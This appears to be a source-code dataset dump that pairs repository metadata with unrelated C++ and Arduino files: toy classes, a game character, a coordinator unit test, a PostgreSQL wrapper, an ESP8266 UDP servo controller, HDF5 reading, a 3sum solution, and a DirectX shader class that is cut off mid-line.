blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
2
247
content_id
stringlengths
40
40
detected_licenses
listlengths
0
57
license_type
stringclasses
2 values
repo_name
stringlengths
4
111
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringlengths
4
58
visit_date
timestamp[ns]date
2015-07-25 18:16:41
2023-09-06 10:45:08
revision_date
timestamp[ns]date
1970-01-14 14:03:36
2023-09-06 06:22:19
committer_date
timestamp[ns]date
1970-01-14 14:03:36
2023-09-06 06:22:19
github_id
int64
3.89k
689M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
25 values
gha_event_created_at
timestamp[ns]date
2012-06-07 00:51:45
2023-09-14 21:58:52
gha_created_at
timestamp[ns]date
2008-03-27 23:40:48
2023-08-24 19:49:39
gha_language
stringclasses
159 values
src_encoding
stringclasses
34 values
language
stringclasses
1 value
is_vendor
bool
1 class
is_generated
bool
2 classes
length_bytes
int64
7
10.5M
extension
stringclasses
111 values
filename
stringlengths
1
195
text
stringlengths
7
10.5M
a53079674161ef3148e89c26055ba6f74f2f3091
37d6d24d98497dcb4fbbdf8178b4e06e076fcefd
/Rush/Rush2/main.cpp
44e30262fa43936cb5cc52922d6bee08febb1797
[]
no_license
Nekory23/CPP_Pool_2020
b55fa77f1013045b3e51b390473a5c60ae8532a4
905a2e2b19ab168cc2abca7fb7ce30c9eb7a8009
refs/heads/main
2023-06-20T03:28:14.369732
2021-07-12T12:52:28
2021-07-12T12:52:28
385,227,395
0
1
null
null
null
null
UTF-8
C++
false
false
607
cpp
main.cpp
/* ** EPITECH PROJECT, 2021 ** Rush ** File description: ** task1 */ #include <iostream> #include <iostream> #include "object.hpp" #include "teddy.hpp" #include "box.hpp" #include "giftPaper.hpp" #include "unitTests.hpp" int main() { LittlePony pony("Pony"); Teddy ted("Ted"); Object **obj = MyUnitTests(); pony.isTaken(); ted.isTaken(); for (int i = 0; i != 2; i++) std::cout << *obj[i] << std::endl; Object **objs = new Object*[3]; objs[0] = new Teddy("teddy"); objs[1] = new Box("box"); objs[2] = new GiftPaper("present"); std::cout << *MyUnitTests(objs) << std::endl; }
e9bf07bdf3cc3f84ccdf18a8056d8579036974e1
c4048032e5886d309182c0777b628a57cdf5895b
/Character.cpp
ffae3223a5a59607227a4e1004dada73296dfedc
[]
no_license
Roggan1/p2
5ac2ca241a3c75251b097d85dad82831fcc493a3
73c4601800cd37a45bc40315373a756dd7d8c6f2
refs/heads/master
2021-01-20T15:22:12.162066
2017-06-21T07:38:18
2017-06-21T07:38:18
90,755,989
0
0
null
null
null
null
UTF-8
C++
false
false
1,795
cpp
Character.cpp
/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ /* * File: Character.cpp * Author: stud * * Created on 9. Mai 2017, 17:21 */ #include <vector> #include "Character.h" #include "Controller.h" Character::Character(char Figur,int Str, int Sta) { m_Figur = Figur; m_Controller = nullptr; strength=Str; stamina=Sta; hitpoints=getMaxHP(); } Character::~Character() { for(int i=0; i<Items.size();i++) { delete Items[i]; } } char Character::getFigur() const { return m_Figur; } int Character::move() const { return m_Controller->move(); } Controller* Character::getController() const { return m_Controller; } void Character::setController(Controller* Controller) { m_Controller = Controller; } int Character::getMaxHP() { return getStamina() * 5 + 20; } void Character::showInfo() { cout<<"Stamina: "<<getStamina()<<endl; cout<<"Strength: "<<getStrength()<<endl; cout<<"Hitpoints: "<<getHP()<<"/"<<getMaxHP()<<endl; } void Character::addItem(Item* Item) { Items.push_back(Item); } int Character::getStamina() { int StamGes=0; for(int i=0; i<Items.size();i++) { StamGes=StamGes+Items[i]->modifyStamina(stamina); } return stamina+StamGes; } int Character::getStrength() { int StreGes=0; for(int i=0; i<Items.size();i++) { StreGes=StreGes+Items[i]->modifyStrength(strength); } return strength+StreGes; } int Character::loseHP(int Dmg) { hitpoints = getHP() - Dmg; } int Character::getHP() { if(hitpoints > getMaxHP()) { hitpoints = getMaxHP(); } return hitpoints; }
a76e4b1661468b485896949aa1ed1c64d7962236
3b1cdc517234d1e2baa77ee6190589c9e6d8ed30
/graphlearn/src/service/dist/test/coordinator_unittest.cpp
10235dceac6fb691b5d033c7584a524324b8c77a
[ "Apache-2.0" ]
permissive
alibaba/graph-learn
e7ef7ee75f0d40a4d57f51691338b7826cf947b2
9682c9b399a57ea318325cdb0c9f4f2f79644e82
refs/heads/master
2023-09-01T05:37:28.606948
2023-08-31T04:52:47
2023-08-31T04:52:47
250,229,724
1,302
289
Apache-2.0
2023-08-31T04:52:48
2020-03-26T10:39:32
C++
UTF-8
C++
false
false
4,311
cpp
coordinator_unittest.cpp
/* Copyright 2020 Alibaba Group Holding Limited. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==============================================================================*/ #include "common/base/log.h" #include "include/config.h" #include "platform/env.h" #include "service/dist/coordinator.h" #include "gtest/gtest.h" using namespace graphlearn; // NOLINT [build/namespaces] class CoordinatorTest : public ::testing::Test { public: CoordinatorTest() { InitGoogleLogging(); } ~CoordinatorTest() { UninitGoogleLogging(); } protected: void SetUp() override { SetGlobalFlagTracker("./tracker"); EXPECT_EQ(::system("mkdir -p ./tracker"), 0); } void TearDown() override { EXPECT_EQ(::system("rm -rf ./tracker"), 0); } }; TEST_F(CoordinatorTest, StartReadyStop) { Coordinator* coord_0 = GetCoordinator(0, 2, Env::Default()); Coordinator* coord_1 = GetCoordinator(1, 2, Env::Default()); EXPECT_EQ(coord_0->IsMaster(), true); EXPECT_EQ(coord_1->IsMaster(), false); EXPECT_EQ(coord_0->IsStartup(), false); EXPECT_EQ(coord_1->IsStartup(), false); EXPECT_EQ(coord_0->IsReady(), false); EXPECT_EQ(coord_1->IsReady(), false); EXPECT_EQ(coord_0->IsStopped(), false); EXPECT_EQ(coord_1->IsStopped(), false); // 0 start Status s = coord_0->Start(); EXPECT_TRUE(s.ok()); // waiting for refresh sleep(2); // false, because of not all the servers have started EXPECT_EQ(coord_0->IsStartup(), false); EXPECT_EQ(coord_1->IsStartup(), false); EXPECT_EQ(coord_0->IsReady(), false); EXPECT_EQ(coord_1->IsReady(), false); EXPECT_EQ(coord_0->IsStopped(), false); EXPECT_EQ(coord_1->IsStopped(), false); // 1 start s = coord_1->Start(); EXPECT_TRUE(s.ok()); // waiting for refresh sleep(2); // start true, because of all the servers have started EXPECT_EQ(coord_0->IsStartup(), true); EXPECT_EQ(coord_1->IsStartup(), true); EXPECT_EQ(coord_0->IsReady(), false); EXPECT_EQ(coord_1->IsReady(), false); EXPECT_EQ(coord_0->IsStopped(), false); EXPECT_EQ(coord_1->IsStopped(), false); // 0 ready s = coord_0->Prepare(); EXPECT_TRUE(s.ok()); // waiting for refresh sleep(2); // false, because of not all the servers have been ready EXPECT_EQ(coord_0->IsStartup(), true); EXPECT_EQ(coord_1->IsStartup(), true); EXPECT_EQ(coord_0->IsReady(), false); EXPECT_EQ(coord_1->IsReady(), false); EXPECT_EQ(coord_0->IsStopped(), false); EXPECT_EQ(coord_1->IsStopped(), false); // 1 ready s = coord_1->Prepare(); EXPECT_TRUE(s.ok()); // waiting for refresh sleep(2); // ready true, because of all the servers have been ready EXPECT_EQ(coord_0->IsStartup(), true); EXPECT_EQ(coord_1->IsStartup(), true); EXPECT_EQ(coord_0->IsReady(), true); EXPECT_EQ(coord_1->IsReady(), true); EXPECT_EQ(coord_0->IsStopped(), false); EXPECT_EQ(coord_1->IsStopped(), false); // 0 stop s = coord_0->Stop(0, 4); EXPECT_TRUE(s.ok()); s = coord_0->Stop(1, 4); EXPECT_TRUE(s.ok()); // waiting for refresh sleep(2); // false, because of not all the servers have stopped EXPECT_EQ(coord_0->IsStartup(), true); EXPECT_EQ(coord_1->IsStartup(), true); EXPECT_EQ(coord_0->IsReady(), true); EXPECT_EQ(coord_1->IsReady(), true); EXPECT_EQ(coord_0->IsStopped(), false); EXPECT_EQ(coord_1->IsStopped(), false); // 1 stop s = coord_1->Stop(2, 4); EXPECT_TRUE(s.ok()); s = coord_1->Stop(3, 4); EXPECT_TRUE(s.ok()); // waiting for refresh sleep(2); // stop true, because of all the servers have stopped EXPECT_EQ(coord_0->IsStartup(), true); EXPECT_EQ(coord_1->IsStartup(), true); EXPECT_EQ(coord_0->IsReady(), true); EXPECT_EQ(coord_1->IsReady(), true); EXPECT_EQ(coord_0->IsStopped(), true); EXPECT_EQ(coord_1->IsStopped(), true); delete coord_0; delete coord_1; }
33940a630ab7077cdf08de638b5fedeb0d7b88c4
84d5196aa118f6220ee49430c449db42b42a13f7
/banco.cpp
81147be0f87252ce6d972714cf258a3a45f83dc9
[ "Apache-2.0" ]
permissive
marcio-mutti/msscellparse
e08bbc5c79124ecf0cd3e7a02c6c19f6e407a341
2b9ff0a5a59a5ba090eaf6c7e6614b6bd278b5f5
refs/heads/master
2020-07-25T19:12:45.467056
2016-11-29T17:11:34
2016-11-29T17:11:34
73,651,498
0
0
null
null
null
null
UTF-8
C++
false
false
6,076
cpp
banco.cpp
#include "banco.hpp" #include <fstream> #include <iostream> using namespace std; void pgsql::handle_command(PGresult* result, const std::string& context="") noexcept(false) { bool has_error(false); string error_message; if (PQresultStatus(result) != PGRES_COMMAND_OK) { error_message=PQresultErrorMessage(result); if (context.size() > 0) { error_message+='\n'; error_message+=context; } has_error=true; } PQclear(result); if (has_error) throw (runtime_error(error_message)); } pgsql::query_result::query_result() : success_(false), n_columns(0), n_rows(0) {} pgsql::query_result::query_result(PGresult * result) noexcept(false): success_(false), n_columns(0), n_rows(0) { load_from_result(result); } pgsql::query_result::~query_result() {} void pgsql::query_result::clear() { success_ = false; n_columns = n_rows = 0; column_names.clear(); fetched_values.clear(); } bool pgsql::query_result::success() const { return success_; } void pgsql::query_result::load_from_result(PGresult* result) noexcept(false) { bool query_error(false); string error_message; clear(); if (PQresultStatus(result) != PGRES_TUPLES_OK) { query_error = true; error_message = PQresultErrorMessage(result); success_ = false; } else { n_rows = static_cast<unsigned long int>(PQntuples(result)); n_columns = static_cast<unsigned long int>(PQnfields(result)); if (n_rows == 0) throw(runtime_error("No result, althoug it should have.")); for(size_t i = 0; i != n_columns; ++i) { column_names.push_back(PQfname(result, i)); } for (size_t j = 0; j != n_rows; ++j) { vector<string> this_result; this_result.resize(n_columns); for (size_t i = 0; i != n_columns; ++i) { this_result.at(i) = PQgetvalue(result, j, i); } fetched_values.push_back(this_result); } } PQclear(result); if (query_error) throw(runtime_error(error_message)); success_=true; } string pgsql::query_result::get_value(const size_t &row, const size_t &column) const { if (row+1>fetched_values.size()) return ""; if (column+1>fetched_values.at(row).size()) return ""; return fetched_values.at(row).at(column); } pgsql::db_connection::db_connection() : dbconn(nullptr) {} pgsql::db_connection::~db_connection() {} void pgsql::db_connection::load_database_config(const std::string& filename) { ifstream configfile(filename); bool titulo(true); if (configfile.fail()) { cerr << "Não foi possível abrir o arquivo " << filename << "." << endl; return; } while (configfile.good()) { string keyword, parameter; if (titulo) { titulo=false; continue; } configfile >> keyword >> parameter; connection_parameters.insert({keyword, parameter}); } configfile.close(); } void pgsql::db_connection::connect_to_database() noexcept(false) { const char ** keywords(nullptr); const char ** parameters(nullptr); int n(0); if (connection_parameters.size() == 0) throw(runtime_error("Não foram fornecidos os dados de conexão.")); if (dbconn != nullptr) PQfinish(dbconn); keywords = new const char*[connection_parameters.size()+1]; parameters = new const char*[connection_parameters.size()+1]; for (map<string, string>::iterator citer = connection_parameters.begin(); citer != connection_parameters.end(); ++citer) { keywords[n] = citer->first.c_str(); parameters[n++] = citer->second.c_str(); } keywords[n] = 0; parameters[n] = 0; dbconn = PQconnectdbParams(keywords, parameters, 0); delete[] keywords; delete[] parameters; if (PQstatus(dbconn) != CONNECTION_OK) { PQfinish(dbconn); dbconn = nullptr; throw(runtime_error(PQerrorMessage(dbconn))); } } void pgsql::db_connection::execute_command(const std::string& query) noexcept(false) { handle_command(PQexec(dbconn, query.c_str()), query); } pgsql::query_result pgsql::db_connection::execute_returning_query(const std::string& query) noexcept(false) { //pgsql::query_result result; //result.load_from_result(PQexec(dbconn, query.c_str())); //return result; return pgsql::query_result{PQexec(dbconn, query.c_str())}; } void pgsql::db_connection::prepare_statement(const string& stmt_name, const string& stmt_query, const int& count) noexcept(false) { handle_command(PQprepare(dbconn, stmt_name.c_str(), stmt_query.c_str(), count, NULL)); n_paremeter_for_stmt.insert({stmt_name, count}); } void pgsql::db_connection::execute_prepared_statement(const string& stmt_name, const vector<string>& stmt_parameters) noexcept(false) { const char * paramvalues[n_paremeter_for_stmt.at(stmt_name)]; int n(0); for (vector<string>::const_iterator piter = stmt_parameters.cbegin(); piter != stmt_parameters.cend(); ++piter) { paramvalues[n++] = piter->c_str(); } handle_command(PQexecPrepared(dbconn, stmt_name.c_str(), n_paremeter_for_stmt.at(stmt_name), paramvalues, NULL, NULL, 0)); } pgsql::query_result pgsql::db_connection::execute_returning_prepared_statement( const string& stmt_name, const vector<string>& stmt_parameters) noexcept(false) { const char * paramvalues[n_paremeter_for_stmt.at(stmt_name)]; int n(0); for (vector<string>::const_iterator piter = stmt_parameters.cbegin(); piter != stmt_parameters.cend(); ++piter) { paramvalues[n++] = piter->c_str(); } return pgsql::query_result{PQexecPrepared(dbconn, stmt_name.c_str(), n_paremeter_for_stmt.at(stmt_name), paramvalues, NULL, NULL, 0)}; } bool pgsql::db_connection::connection_up() const { return PQstatus(dbconn)==CONNECTION_OK; }
dcd37f76203fc4c50d167d19e3f2673d5465bd23
988254017ce0ed000d637af99505b530307ebc4d
/include/App.h
9d981209e68503b69c064610b943d6699e119a17
[]
no_license
rappet/screensaver
932a2d71385b12900b237b618c88cbb6538948f9
4a6c92d71226916ed4a9dacfa724d0774fbd7277
refs/heads/master
2021-01-10T05:40:45.783667
2016-01-07T20:20:49
2016-01-07T20:20:49
49,226,956
0
1
null
null
null
null
UTF-8
C++
false
false
451
h
App.h
#ifndef APP_H #define APP_H #include <SDL2/SDL.h> #include "SierpinskiScreen.h" class App { public: App(); virtual ~App(); protected: SDL_Window *window; SDL_Renderer *renderer; bool running = true; void fatal(const char *title, const char *msg); void init(); void eventLoop(); void onEvent(SDL_Event *event); Screen *screen; private: }; #endif // APP_H
385cd204b5f6a1945c223442f3ec60631c120edd
e103a6dbf079e19e15301e9b61644f7743746c23
/leetcode/3sum.cpp
956f085d54a1b94a9b53af69d26c379ecfeec2b5
[]
no_license
liyongping/hackerrank
2481ec200db146d4254a567afb98bccec9f42732
428bab0def99f94aa5731dbe68c856a4a97e4439
refs/heads/master
2021-01-10T08:15:46.357319
2019-04-24T01:52:41
2019-04-24T01:52:41
35,958,314
0
0
null
null
null
null
UTF-8
C++
false
false
2,141
cpp
3sum.cpp
#include <iostream> #include <string> #include <vector> using namespace std; void printVectorInt(vector<int> & vs); /* Given an array S of n integers, are there elements a, b, c in S such that a + b + c = 0? Find all unique triplets in the array which gives the sum of zero. Note: The solution set must not contain duplicate triplets. For example, given array S = [-1, 0, 1, 2, -1, -4], A solution set is: [ [-1, 0, 1], [-1, -1, 2] ] */ class Solution { public: vector<vector<int>> threeSum(vector<int>& nums) { vector<vector<int>> results; if(nums.size() < 3) return results; sort(nums.begin(), nums.end()); const int target = 0; auto last = nums.end(); for(auto curr=nums.begin(); curr<last-2; curr++){ // skip the same element if(*curr ==*(curr-1) && curr> nums.begin()) continue; auto front = curr+1; auto back = last-1; while(front<back){ if(*curr+*front+*back < target){ front++; //skip same elements while(*front==*(front-1) && front<back) front++; } else if(*curr+*front+*back > target){ back--; //skip same elements while(*back==*(back+1) && front<back) back--; }else{ results.push_back({*curr,*front,*back}); front++; back--; //skip same elements while(*front==*(front-1) && front<back) front++; //skip same elements while(*back==*(back+1) && front<back) back--; } } } return results; } }; int main(int argc, char const *argv[]) { /* code */ return 0; } void printVectorInt(vector<int> & vs){ for (int i = 0; i < vs.size(); ++i) { cout<< vs[i] << " "; } cout<< endl; }
d0b2b34840b8abee48533376b2d72e48fbabd8d2
e700a06c44ed030bf5ce3328e96555aeba3d00bd
/two_wheeled.ino
7874a7c29450fc5fe3dbe461227d42764835d067
[]
no_license
selenologist/carcontrol.rs
28050526ee4d426b42b8b6f2e60c1be8aa28adc3
4cca42789fcacf25019c89a0fbf604d921bf0fc6
refs/heads/master
2021-01-21T06:24:48.354484
2017-02-26T17:46:29
2017-02-26T17:46:29
83,227,971
0
0
null
null
null
null
UTF-8
C++
false
false
2,084
ino
two_wheeled.ino
#include <Arduino.h> #include <ESP8266WiFi.h> #include <WiFiUdp.h> #include <Servo.h> // Maximum size of packets to hold in the buffer #define BUFFER_LEN 1024 // Wifi and socket settings const char* ssid = ""; const char* password = ""; unsigned int localPort = 37210; char packetBuffer[BUFFER_LEN]; #define LEFT_PIN 5 #define RIGHT_PIN 4 WiFiUDP port; // Set this to something sensible IPAddress ip(0,0,0,0); IPAddress gateway(10,1,1,1); IPAddress subnet(255,0,0,0); Servo left; Servo right; void setup() { Serial.begin(115200); WiFi.config(ip, gateway, subnet); WiFi.begin(ssid, password); while (WiFi.status() != WL_CONNECTED) { delay(500); Serial.print("."); } Serial.print("Connected to "); Serial.println(ssid); Serial.print("IP address: "); Serial.println(WiFi.localIP()); port.begin(localPort); pinMode(LEFT_PIN , OUTPUT); pinMode(RIGHT_PIN, OUTPUT); left.attach(LEFT_PIN); right.attach(RIGHT_PIN); } // 16bit frame number + two 16 bit servo points #define PACKET_SIZE (3 * sizeof(uint16_t)) // if more than this amount of frames out of sync, resync // do not exceed 2^15-1 #define FRAME_TOLERANCE 300 uint16_t last_frame = 0xFFFF; void loop() { // Read data over socket int packetSize = port.parsePacket(); // If packets have been received, interpret the command if (packetSize) { int len = port.read(packetBuffer, BUFFER_LEN); if(len == PACKET_SIZE){ // len must be match the packet size uint16_t incoming_frame = packetBuffer[0] << 8 | packetBuffer[1]; int32_t diff = (int32_t)(incoming_frame - last_frame); if(diff > 0 || diff < -FRAME_TOLERANCE){ uint16_t left_value = packetBuffer[2] << 8 | packetBuffer[3]; uint16_t right_value = packetBuffer[4] << 8 | packetBuffer[5]; left.write (left_value ); right.write(right_value); Serial.printf("left %u right %u\n", left_value, right_value); last_frame = incoming_frame; } } } }
7627885b77cf9511c90bdb2c6901ca9cb6e4e60d
2f8fe468066a0c0ea08156b6e6b7d74f4e3836e9
/resources/headers/Engine/GameState.h
dce6384eec12264d1eb74ec1b9675ef2ff7038c6
[]
no_license
J0n4/HardrockHoliday
48838b6674b874c5deb6f9ba57ceb4ce05e00e50
73e26bcf165ae40da8f08cbbde6d936c0c5ef0ae
refs/heads/master
2021-01-21T15:22:07.722590
2014-11-10T13:54:45
2014-11-10T13:54:45
null
0
0
null
null
null
null
ISO-8859-1
C++
false
false
675
h
GameState.h
//by Alexander Weiß, 2014 #ifndef GAME_STATE_H #define GAME_STATE_H #include "State.h" #include "Engine.h" #include "..\Utility\DebugLog.h" #include "Game\Scene.h" // the State is a superstate for everything that happens in the game itself. It holds the Scene, the Objects and everything else basically class GameState : public State { public: GameState(); ~GameState(); NextState update(float deltaTime, float time); private: HWND _hwnd; //Vektoria Elemente Vektoria::CRoot _rootVektoria; Vektoria::CFrame _frameVektoria; Vektoria::CViewport _viewportVektoria; Vektoria::CCamera _cameraVektoria; Vektoria::CScene _sceneVektoria; Scene _scene; }; #endif
2c2834116e6480093cabe40aa3f3df81705068ee
9e1040be3d68272980c872baa7ccc5f1374b3fe6
/examples/read.cpp
5c64eca07aec928e234e4ef43d2e0c45326caffd
[]
no_license
rseal/HDF5R
4fbd31cf67992b6fff8c75e71e956a88bb724eb0
5ff8fc9ffbdb911f8e83efae69659f8953c72045
refs/heads/master
2021-06-13T12:59:19.296200
2014-03-24T01:45:06
2014-03-24T01:45:06
742,939
4
1
null
null
null
null
UTF-8
C++
false
false
2,031
cpp
read.cpp
#include <Complex.hpp> #include <HDF5.hpp> #include <vector> #include <iostream> #include <boost/lexical_cast.hpp> using namespace boost; using namespace std; using namespace H5; using namespace std; int main(){ //Open HDF5 file in READ mode - note these files //use the HDF5 family mode VFD HDF5 file("psu_test_", hdf5::READ); //Custom complex data type for radar data //format is 16-bit real, 16-bit imag ComplexHDF5 cpx; //read table dimensions into vector vector<hsize_t> dim = file.TableDims(); //create an appropriate size buffer to read and store tables vector<complex_t> data(dim[0]*dim[1]); //read the file's description string cout << "-------------------- DESCRIPTION --------------------" << endl; cout << file.Description() << endl; file.ReadTable<complex_t>(0, &data[0], cpx.GetRef()); cout << "-----------------------------------------------------\n" << endl; //create variables to store attributes float sampleRate; string startTime; //read root attributes file.ReadAttrib<float>("SAMPLE_RATE", sampleRate, H5::PredType::NATIVE_FLOAT); startTime = file.ReadStrAttrib("START_TIME"); cout << "Sample Rate = " << sampleRate << endl; cout << "Start Time = " << startTime << endl; //read table attributes int time; string tableNum; //format and display data table 0 int idx=0; for(unsigned int i=0; i<dim[0]; ++i){ cout << "d[" << i << "]= [\n"; for(unsigned int j=0; j<dim[1]; ++j){ if(!(j%10)) cout << "\n"; idx = i*dim[0] + j; cout << data[idx].real << "," << data[idx].imag << " "; } cout << "\n\n]\n" << endl; } //loop through a few tables, read attributes and display int numTables = file.NumTables(); for(int i=0; i<numTables; ++i){ cout << "table number = " << file.ReadTStrAttrib(i,"TABLENUM") << endl; file.ReadTAttrib(i,"TIME", time, H5::PredType::NATIVE_INT); cout << " time = " << time << endl; } return 0; }
ff32e2aa2da6eb5ab373fc43ef879009dbda5a22
6518dcd1b63e84d1a7650b615fad05b7678fd4a0
/Engine/src/bumpmapshaderclass.cpp
85b88ae5e4532ae86ab9097040e099701b1179f3
[]
no_license
resema/TinyDirectX11
74f12edc994ab2771d9ebe4089d1a60ca3736b84
1c7555e60e080afa6f9c34c146f9017989c0a5af
refs/heads/master
2021-05-04T16:46:29.124077
2018-04-30T16:27:52
2018-04-30T16:27:52
120,258,680
0
0
null
null
null
null
UTF-8
C++
false
false
14,828
cpp
bumpmapshaderclass.cpp
#include "bumpmapshaderclass.h" BumpMapShaderClass::BumpMapShaderClass() { m_vertexShader = nullptr; m_pixelShader = nullptr; m_layout = nullptr; m_samplerState = nullptr; m_matrixBuffer = nullptr; m_cameraBuffer = nullptr; m_lightBuffer = nullptr; } BumpMapShaderClass::BumpMapShaderClass(const BumpMapShaderClass& other) { } BumpMapShaderClass::~BumpMapShaderClass() { } bool BumpMapShaderClass::Initialize(ID3D11Device* device, HWND hwnd) { bool result; // initialize the vertex and pixel shaders result = InitializeShader( device, hwnd, L"./shader/bumpmap.vs.hlsl", L"./shader/specmap.ps.hlsl" ); if (!result) { return false; } return true; } void BumpMapShaderClass::Shutdown() { // shutdown the vertex and pixel shaders as well as the related objects ShutdownShader(); return; } bool BumpMapShaderClass::Render(ID3D11DeviceContext* deviceContext, int indexCount, XMMATRIX worldMatrix, XMMATRIX viewMatrix, XMMATRIX projectionMatrix, ID3D11ShaderResourceView** textureArray, XMFLOAT3 lightDirection, XMVECTOR ambientColor, XMVECTOR diffuseColor, XMFLOAT3 cameraPosition, XMVECTOR specularColor, float specularPower) { bool result; // set the shader parameters that it will use for rendering result = SetShaderParameters( deviceContext, worldMatrix, viewMatrix, projectionMatrix, textureArray, lightDirection, ambientColor, diffuseColor, cameraPosition, specularColor, specularPower ); if (!result) { return false; } // now render the prepared buffers with the shader RenderShader(deviceContext, indexCount); return true; } bool BumpMapShaderClass::InitializeShader(ID3D11Device* device, HWND hwnd, WCHAR* vsFilename, WCHAR* psFilename) { HRESULT result; ID3D10Blob* errorMessage; ID3D10Blob* vertexShaderBuffer; ID3D10Blob* pixelShaderBuffer; D3D11_INPUT_ELEMENT_DESC polygonLayout[5]; unsigned int numElements; D3D11_SAMPLER_DESC samplerDesc; D3D11_BUFFER_DESC matrixBufferDesc; D3D11_BUFFER_DESC cameraBufferDesc; D3D11_BUFFER_DESC lightBufferDesc; // initialize the pointers errorMessage = nullptr; vertexShaderBuffer = nullptr; pixelShaderBuffer = nullptr; // compile the vertex shader code result = D3DCompileFromFile( vsFilename, // filename NULL, // ptr to array of macros NULL, // ptr to an include interface "BumpMapVertexShader", // name of the shader function "vs_5_0", // version of the shader D3D10_SHADER_ENABLE_STRICTNESS, // compile flags 0, // effect flags &vertexShaderBuffer, // compiled shader &errorMessage // lists of errors and warnings ); if (FAILED(result)) { // if the shader failed to compile it should have written somthing to error msg if (errorMessage) { OutputShaderErrorMessage(errorMessage, hwnd, vsFilename); } // if there was nothing in the error msg then it simply could not find the shader file else { MessageBox(hwnd, vsFilename, L"Missing Vertex Shader File", MB_OK); } return false; } // compile the pixel shader code result = D3DCompileFromFile( psFilename, // filename NULL, // ptr to array of macros NULL, // ptr to an include interface "BumpMapPixelShader", // name of the shader function "ps_5_0", // version of the shader D3D10_SHADER_ENABLE_STRICTNESS, // compile flags 0, // effect flags &pixelShaderBuffer, // compiled shader &errorMessage // lists of errors and warnings ); if (FAILED(result)) { // if the shader failed to compile it should have written somthing to error msg if (errorMessage) { OutputShaderErrorMessage(errorMessage, hwnd, psFilename); } // if there was nothing in the error msg then it simply could not find the shader file else { MessageBox(hwnd, psFilename, L"Missing Pixel Shader File", MB_OK); } return false; } // create the vertex shader from the buffer result = device->CreateVertexShader( vertexShaderBuffer->GetBufferPointer(), vertexShaderBuffer->GetBufferSize(), NULL, &m_vertexShader ); if (FAILED(result)) { return false; } // create the pixel shader from the buffer result = device->CreatePixelShader( pixelShaderBuffer->GetBufferPointer(), pixelShaderBuffer->GetBufferSize(), NULL, &m_pixelShader ); // create the vertex input layout description // this setup needs to match the vertextype structure in the ModelClass and shader polygonLayout[0].SemanticName = "POSITION"; polygonLayout[0].SemanticIndex = 0; polygonLayout[0].Format = DXGI_FORMAT_R32G32B32_FLOAT; polygonLayout[0].InputSlot = 0; polygonLayout[0].AlignedByteOffset = 0; polygonLayout[0].InputSlotClass = D3D11_INPUT_PER_VERTEX_DATA; polygonLayout[0].InstanceDataStepRate = 0; polygonLayout[1].SemanticName = "TEXCOORD"; polygonLayout[1].SemanticIndex = 0; polygonLayout[1].Format = DXGI_FORMAT_R32G32_FLOAT; polygonLayout[1].InputSlot = 0; polygonLayout[1].AlignedByteOffset = D3D11_APPEND_ALIGNED_ELEMENT; polygonLayout[1].InputSlotClass = D3D11_INPUT_PER_VERTEX_DATA; polygonLayout[1].InstanceDataStepRate = 0; polygonLayout[2].SemanticName = "NORMAL"; polygonLayout[2].SemanticIndex = 0; polygonLayout[2].Format = DXGI_FORMAT_R32G32B32_FLOAT; polygonLayout[2].InputSlot = 0; polygonLayout[2].AlignedByteOffset = D3D11_APPEND_ALIGNED_ELEMENT; polygonLayout[2].InputSlotClass = D3D11_INPUT_PER_VERTEX_DATA; polygonLayout[2].InstanceDataStepRate = 0; polygonLayout[3].SemanticName = "TANGENT"; polygonLayout[3].SemanticIndex = 0; polygonLayout[3].Format = DXGI_FORMAT_R32G32B32A32_FLOAT; polygonLayout[3].InputSlot = 0; polygonLayout[3].AlignedByteOffset = D3D11_APPEND_ALIGNED_ELEMENT; polygonLayout[3].InputSlotClass = D3D11_INPUT_PER_VERTEX_DATA; polygonLayout[3].InstanceDataStepRate = 0; polygonLayout[4].SemanticName = "BINORMAL"; polygonLayout[4].SemanticIndex = 0; polygonLayout[4].Format = DXGI_FORMAT_R32G32B32A32_FLOAT; polygonLayout[4].InputSlot = 0; polygonLayout[4].AlignedByteOffset = D3D11_APPEND_ALIGNED_ELEMENT; polygonLayout[4].InputSlotClass = D3D11_INPUT_PER_VERTEX_DATA; polygonLayout[4].InstanceDataStepRate = 0; // get a count of the elements in the layout numElements = sizeof(polygonLayout) / sizeof(polygonLayout[0]); // create the vertex input layout result = device->CreateInputLayout( polygonLayout, numElements, vertexShaderBuffer->GetBufferPointer(), vertexShaderBuffer->GetBufferSize(), &m_layout ); if (FAILED(result)) { return false; } // release the vertex shader buffer and pixel shader - not used anymore vertexShaderBuffer->Release(); vertexShaderBuffer = nullptr; pixelShaderBuffer->Release(); pixelShaderBuffer = nullptr; // create a texture sampler state description samplerDesc.Filter = D3D11_FILTER_MIN_MAG_MIP_LINEAR; samplerDesc.AddressU = D3D11_TEXTURE_ADDRESS_WRAP; samplerDesc.AddressV = D3D11_TEXTURE_ADDRESS_WRAP; samplerDesc.AddressW = D3D11_TEXTURE_ADDRESS_WRAP; samplerDesc.MipLODBias = 0.f; samplerDesc.MaxAnisotropy = 1; samplerDesc.ComparisonFunc = D3D11_COMPARISON_ALWAYS; samplerDesc.BorderColor[0] = 0; samplerDesc.BorderColor[1] = 0; samplerDesc.BorderColor[2] = 0; samplerDesc.BorderColor[3] = 0; samplerDesc.MinLOD = 0; samplerDesc.MaxLOD = D3D11_FLOAT32_MAX; // create the texture sampler state result = device->CreateSamplerState( &samplerDesc, &m_samplerState ); if (FAILED(result)) { return false; } // setup the description of the dynamic matrix constant buffer matrixBufferDesc.Usage = D3D11_USAGE_DYNAMIC; matrixBufferDesc.ByteWidth = sizeof(MatrixBufferType); matrixBufferDesc.BindFlags = D3D11_BIND_CONSTANT_BUFFER; matrixBufferDesc.CPUAccessFlags = D3D11_CPU_ACCESS_WRITE; matrixBufferDesc.MiscFlags = 0; matrixBufferDesc.StructureByteStride = 0; // create the ocnstant buffer ptr to access the vertex shader constant buffer result = device->CreateBuffer( &matrixBufferDesc, NULL, &m_matrixBuffer ); if (FAILED(result)) { return false; } // setup the desc of the camera dynamic constant buffer cameraBufferDesc.Usage = 